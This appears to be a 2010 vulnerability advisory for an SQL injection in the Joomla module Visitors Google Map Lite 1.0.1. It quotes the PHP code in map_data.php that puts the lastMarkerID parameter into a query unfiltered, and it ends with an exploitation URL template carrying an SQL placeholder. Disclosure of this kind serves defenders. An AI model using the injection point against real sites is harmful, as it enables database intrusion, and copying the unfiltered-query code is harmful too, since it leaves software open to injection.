79 lines
No EOL
2.7 KiB
Text
79 lines
No EOL
2.7 KiB
Text
Visitors Google Map Lite 1.0.1 (FREE) (module mod_visitorsgooglemap Remote Sql Injection)
|
|
=========================================================================================
|
|
|
|
- Discovered by : Chip D3 Bi0s
|
|
- Email : chipdebios[at]gmail[dot]com
|
|
- Group : LatinHackTeam
|
|
- Date : 2010-09-08
|
|
- Where : From Remote
|
|
|
|
-------------------------------------------------------------------------------------
|
|
Affected software description
|
|
|
|
Application : Visitors Google Map Lite 1.0.1 (FREE) (module:mod_visitorsgooglemap)
|
|
Developer : Serdar Gökkus
|
|
Compatibility : Joomla 1.5 Native
|
|
License : GPLv2 or later
|
|
Date Added : Sunday August 29, 2010 01:14:14
|
|
Download : http://www.comlantis.com/download/doc_download/2-visitors-google-map-lite-101-free.html
|
|
|
|
I. BACKGROUND
|
|
|
|
This extension tracks visitors of your site in real time and displays their
|
|
locations in Google Map. It uses three main technologies:
|
|
|
|
- Map API of Google
|
|
- AJAX
|
|
- IP geolocation API of IPInfoDB
|
|
|
|
Content of VisitorsGoogeMap Package:
|
|
This extension contains one Joomla Compoment and two Joomla Modules.
|
|
|
|
com_visitorsgooglemap: This component is responsible for the creation
|
|
database table during installation and remove
|
|
it clearly in case of uninstallation.
|
|
|
|
mod_visitorsgooglemap: This module is responsible for the display of
|
|
Google Map in desired module position in your
|
|
template and track the visitors of your Joomla
|
|
page in the map.
|
|
|
|
mod_visitorsgooglemap_agent: This module is responsible for the updating
|
|
visitors information in the database.
|
|
|
|
II. DESCRIPTION
|
|
|
|
Some sql injecton vulnerabilities exist in mod_visitorsgooglemap module .
|
|
|
|
|
|
III. ANALYSIS
|
|
|
|
The bug is in the following files, specifying the lines
|
|
|
|
/mod_visitorsgooglemap/map_data.php
|
|
|
|
|
|
[16] [if ($_GET['action'] == 'listpoints')
|
|
[17] {
|
|
[18] $lastMarkerID = $_GET['lastMarkerID'];
|
|
[19] ini_set('default_mimetype','text/xml'); // manchmal notwendig
|
|
[20] header ('Content-Type: text/xml'); // reicht nicht immer
|
|
[21] echo '<?xml version="1.0" ?>';
|
|
[22] echo '<xmlresponse>';
|
|
[23] $database =& JFactory::getDBO();
|
|
[24] $query = "SELECT * FROM #__visitorsgooglemap_location where id > $lastMarkerID order by id";
|
|
|
|
Explanation:As noted in the line [24] $ lastMarkerID
|
|
nowhere is filtered, which result in a query pede unexpected
|
|
|
|
|
|
IV. EXPLOITATION
|
|
|
|
http://site/path/modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0{sql}
|
|
|
|
|
|
|
|
|
|
+++++++++++++++++++++++++++++++++++++++
|
|
[!] Produced in South America
|
|
+++++++++++++++++++++++++++++++++++++++ |